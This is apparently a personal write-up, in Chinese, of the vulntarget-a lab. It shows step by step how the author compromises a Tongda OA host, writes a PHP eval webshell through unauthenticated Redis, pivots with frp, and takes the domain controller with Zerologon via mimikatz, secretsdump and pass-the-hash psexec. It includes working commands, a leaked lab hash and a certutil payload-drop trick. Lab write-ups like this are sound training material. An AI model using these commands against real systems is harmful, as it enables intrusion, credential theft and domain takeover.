网上突然看到某位大佬写了vulntarget-a Writeup,自己也想着玩一玩,所以有了现在的笔记。看着Writeup感觉还是挺简单的,但自己测试中还是遇到很多坑。有什么不对的望大佬指点,轻喷。
还是一样的拓扑图,除了win7外网网卡地址变成192.168.1.4,kali地址变成192.168.1.5,其他的网卡地址没有变化。
拿到外网地址,直接nmap意思意思扫描一下
可以利用的端口就只有445、139和80端口,445、139端口一般直接打ms17-010。但是如果是公网机器一般会禁掉139、445端口。这里就模拟外网环境,不使用ms17-010进行测试。
访问80端口发现是通达OA系统,寻找对应的漏洞进行测试。如果想要手工测试的话可以参考peiqi大佬文库进行手工复现。
这里为了方便我们直接选择使用网上工具,主要原因是懒。利用绕过身份验证+任意文件上传获取webshell
成功获取外网主机webshell
简单信息收集一下
System权限
存在两个网卡分别是192.168.1.4和10.0.10.98
不存在域
Win7系统
没有杀软
直接上传frp工具进入内网(本想直接上传pe到机器,上线msf开启socks进入内网的。只怪msf socks代理贼不稳定,扫描一下就断了,不清楚是不是自己网络问题。)
window代理工具建议Proxifier。开启Proxifier,设置规则成功进入内网
因为存在10.0.10.0/24网段,简单探针一下存活主机。发现除本机外还存在主机10.0.20.99 且开放80,6379端口。
访问80,存在web网站,且发现redis未授权访问。这时候思路就很清晰了。利用redis写ssh公钥、计划任务、webshell等。
扫描网站,发现存在phpinfo.php,暴露网站路径
直接安排webshell
10.0.20.99:6379> config set dir "C:/phpStudy/PHPTutorial/WWW/"
10.0.20.99:6379> config set dbfilename x.php
10.0.20.99:6379> set webshell "<?php @eval($_POST['1']);?>"
10.0.20.99:6379> save
写入webshell成功
这里推荐一个不错的redis未授权利用脚本
https://github.com/pan3a/Redis-Getshell
接下来又是信息收集了
本地System权限
Win2016
存在两个网卡10.0.20.99,10.0.10.111
不出网
域控WIN2019$ 10.0.10.110
域管administrator
域内主机 vulntarget.com
存在杀软
先上线msf
Msf设置全局代理
setg Proxies socks5:192.168.1.5:10800
生成exp通过webshell上传,因为机器不出网,我们需要考虑做正向连接。exp还没执行直接被杀。
太菜了不会免杀,找了Tide安全团队大佬们在线免杀的网站,重新生成c的shellcode。
没有被杀,但还是无法上线,猜测是防火墙的问题,尝试关闭防火墙。
果然关闭防火墙session就回来了
前面信息收集发现存在和域控同网段网卡,可以直接通域控。在痴心妄着该主机有没有访问域控票据或者ipc连接,最后还是没有,拒绝访问
接下来就是奔着域控去了,这里有几个思路,能不能令牌窃取,进程注入(有域管进程),ms14-068,CVE-2020-1472,通过mimikatz抓取看是否有域管密码凭证等。
结果什么都没有
大于2008无法抓取铭文密码,所以ms14-068也放弃了
直接用上域内网大杀器CVE-2020-1472,影响版本很广。
这里直接利用mimikatz,利用现成的脚本也可以。测试CVE-2020-1472,上传mimikatz到win2016上,显示已成功置空密码。
lsadump::zerologon /target:10.0.10.110 /account:win2019$ (检测漏洞存在)
lsadump::zerologon /target:10.0.10.110 /account:win2019$ /exploit (置空密码)
需要在win2016 session上配置到往10.0.10.0的路由并开socks代理
这里需要用到impacket-master工具包中的secretsdump.py获取hash值。
proxychains python3 secretsdump.py -no-pass -just-dc "vulntarget.com/win2019\$"@10.0.10.110
域管hash aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
利用psexec成功获取域管权限
proxychains python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget.com/[email protected]
利用msf中的psexec上线域管
还是发现无法上线,正向连接要考虑防火墙问题。关闭域管防火墙,重新执行,成功上线。
终于结束
思考
我们已经获得域管的dos界面,可以命令执行,如何让我们的pe文件落地,域控又不出网(除了共享方式外)。最后求助了大佬,将pe文件转换为16进制,然后利用cmd /c set /p="xxxxx" >>1.txt写入我们的hex,最certutil -decodehex 1.txt 11.exe再转化为pe。自己试了一下的确可以成功,学到了。
小tips
在域环境中如果我们拿到域内主机权限非为本地system权限、非为域内用户权限是无法收集域信息
本地administrator权限
本地System权限